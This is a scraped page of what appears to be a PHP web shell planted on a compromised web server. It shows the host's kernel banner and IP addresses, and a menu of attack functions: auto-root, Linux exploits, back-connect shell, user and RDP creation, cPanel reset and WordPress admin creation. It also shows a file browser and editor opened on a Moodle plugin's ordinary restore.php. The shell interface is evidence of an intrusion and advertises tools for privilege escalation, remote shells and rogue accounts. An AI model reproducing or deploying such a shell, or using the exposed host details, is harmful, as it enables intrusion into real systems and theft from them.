Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.7.46
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
blocks /
sharing_cart /
[ HOME SHELL ]
Name
Size
Permission
Action
.github
[ DIR ]
drwxr-xr-x
amd
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
.travis.yml
1.33
KB
-rw-r--r--
README.md
13.03
KB
-rw-r--r--
block_sharing_cart.php
7.47
KB
-rw-r--r--
bulkdelete.php
5.03
KB
-rw-r--r--
custom.css
3.78
KB
-rw-r--r--
lib.php
1.16
KB
-rw-r--r--
rest.php
4.65
KB
-rw-r--r--
restore.php
4.36
KB
-rw-r--r--
script.js
42.2
KB
-rw-r--r--
settings.php
2.3
KB
-rw-r--r--
styles.css
2.71
KB
-rw-r--r--
version.php
1.12
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : restore.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Sharing Cart - Restore Operation * * @package block_sharing_cart * @copyright 2017 (C) VERSION2, INC. * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ use block_sharing_cart\controller; use block_sharing_cart\section_title_form; require_once '../../config.php'; global $OUTPUT, $PAGE; $directory = required_param('directory', PARAM_BOOL); $id = null; $path = null; if ($directory) { $path = required_param('path', PARAM_TEXT); } else { $id = required_param('id', PARAM_INT); } $courseid = required_param('course', PARAM_INT); $sectionnumber = required_param('section', PARAM_INT); $in_section = optional_param('in_section', 0, PARAM_INT); if ($courseid == SITEID) { $returnurl = new moodle_url('/'); } else { $returnurl = new moodle_url('/course/view.php', array('id' => $courseid)); } if ($in_section) { $returnurl .= '§ion=' . $sectionnumber; } else { $returnurl .= '#section-' . $sectionnumber; } require_login($courseid); try { $controller = new controller(); if ($directory) { $form = new section_title_form($directory, $path, $courseid, $sectionnumber, array()); if ($form->is_cancelled()) { redirect($returnurl); exit; } $use_sc_section = optional_param('sharing_cart_section', -1, PARAM_INT); if ($path[0] == '/') { $path = substr($path, 1); } GLOBAL $DB, $USER; $items = $DB->get_records('block_sharing_cart', array('tree' => $path, 'userid' => $USER->id)); $items_count = count($items); if ($use_sc_section < 0) { $sections = $controller->get_path_sections($path); if (count($sections) > 0) { $dest_section = $DB->get_record('course_sections', array('course' => $courseid, 'section' => $sectionnumber)); $PAGE->set_pagelayout('standard'); $PAGE->set_url('/blocks/sharing_cart/restore.php'); $PAGE->set_title(get_string('pluginname', 'block_sharing_cart') . ' - ' . get_string('restore', 'block_sharing_cart')); $PAGE->set_heading(get_string('restore', 'block_sharing_cart')); $urlchunk = '#section-'; if ($in_section) { $urlchunk = '§ion='; } $PAGE->navbar ->add(get_section_name($courseid, $sectionnumber), new moodle_url("/course/view.php?id={$courseid}{$urlchunk}{$sectionnumber}")) ->add(get_string('pluginname', 'block_sharing_cart')) ->add(get_string('restore', 'block_sharing_cart')); echo $OUTPUT->header(); echo $OUTPUT->heading(get_string('section_name_conflict', 'block_sharing_cart')); $form = new section_title_form($directory, $path, $courseid, $sectionnumber, $sections, $items_count); $form->display(); echo $OUTPUT->footer(); exit; } $use_sc_section = 0; } if ($use_sc_section > -1) { $controller->restore_directory($path, $courseid, $sectionnumber, $use_sc_section); } } else { $controller->restore($id, $courseid, $sectionnumber); } redirect($returnurl); } catch (sharing_cart\exception $ex) { print_error($ex->errorcode, $ex->module, $returnurl, $ex->a); } catch (Exception $ex) { if (!empty($CFG->debug) && $CFG->debug >= DEBUG_DEVELOPER) { print_error('notlocalisederrormessage', 'error', '', $ex->__toString()); } else { print_error('unexpectederror', 'block_sharing_cart', $returnurl); } }
Close